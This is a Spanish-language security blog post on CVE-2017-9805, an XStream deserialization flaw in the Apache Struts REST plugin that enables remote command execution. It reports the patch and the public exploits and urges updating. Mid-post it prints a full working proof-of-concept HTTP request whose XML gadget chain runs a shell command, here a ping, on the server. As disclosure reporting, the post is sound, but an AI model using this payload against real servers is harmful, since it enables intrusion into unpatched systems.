Nuevo exploit crítico para Struts (CVE-2017-9805): de la deserialización insegura a RCE

Investigadores de LGTM, una compañía que ofrece soluciones de análisis de código, reportaron el 17 de julio una vulnerabilidad crítica que afecta al plugin REST de todas las versiones de Apache Struts publicadas desde 2008, de la 2.5 a la 2.5.12.

La vulnerabilidad etiquetada con el CVE CVE-2017-9805 (S2-052) permite ejecución remota de comandos (RCE) gracias a un proceso inseguro de deserialización de payloads XML que realiza el plugin REST mediante el manejador XStream. Más concretamente mediante el interfaz ContentTypeHandler, el cual convierte los datos de entrada del usuario en objetos java. El método toObject() que utiliza no impone ninguna restricción en los datos que recibe y, como podéis imaginar, si se envía un XML malicioso el resultado es la ejecución arbitraria de comandos que comentamos.

El parche para dicha vulnerabilidad fue publicado el pasado martes con la versión de Struts 2.5.13, pero el problema es que a partir de ahí han surgido pruebas de concepto y exploits funcionales (incluso un módulo de metasploit) que permiten comprometer a numerosas aplicaciones web que utilizan el plugin REST (la mayoría en entornos enterprise) y que, dado la reciente publicación del parche, todavía no han sido actualizadas.

Para más inri, “es increiblemente fácil de explotar por un atacante … todo lo que necesitas es un navegador web”, sirva de ejemplo la siguiente PoC:
POST /struts2-rest-showcase/orders/3 HTTP/1.1
Host: 127.0.0.1:9090
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: application/xml
Content-Length: 2447
Connection: close

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>/bin/sh</string><string>-c</string><string>ping -c 1 192.168.2.122</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer/>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>

Y cómo se puede ver en las siguientes imágenes, con el nuevo módulo de Metasploit nos traemos una sesión de Meterpreter fácilmente:



Así que, como habéis podido comprobar, existen numerosas empresas que utilizan Apache Struts2 en alguna de sus aplicaciones web y están en serio riesgo.

Es la segunda vulnerabilidad crítica que afecta a este framework, después de la etiquetada como CVE-2017-5638 y que fue activamente explotada en marzo. No queda otra, hay que volver a actualizar y urgentemente...

Fuentes:

- Using QL to find a remote code execution vulnerability in Apache Struts (CVE-2017-9805)
- New Critical Apache Struts2 Vulnerability Found (CVE-2017-9805)
- New Apache Struts Vulnerability Puts Many Fortune Companies at Risk
- S2-052的POC测试,高危Struts REST插件远程代码执行漏洞(S2-052),S2-052的 Poc
- Struts2-052 RCE CVE-2017-9805漏洞复现分析【附GIF】
- S2-052的POC测试(原名:Tomcat部署war)
- Critical vulnerability CVE-2017-9805 in Apache Struts could be exploited by attackers to take over affected web servers
- Add Apache Struts 2 REST Plugin XStream RCE (Metasploit)
- Apache Struts RCE tool for CVE 2017-9805 (Go)
- Struts CVE-2017-9805 RCE flaw could be exploited to take over vulnerable servers
- A critical Apache Struts security flaw makes it 'easy' to hack Fortune 100 firms
- Java Unmarshaller Security - Turning your data into code execution

Comentarios

  1. Este año Struts lo está pasando mal. No me sorprendería que nos encontremos otra más antes de fin de año.

    ResponderEliminar

Publicar un comentario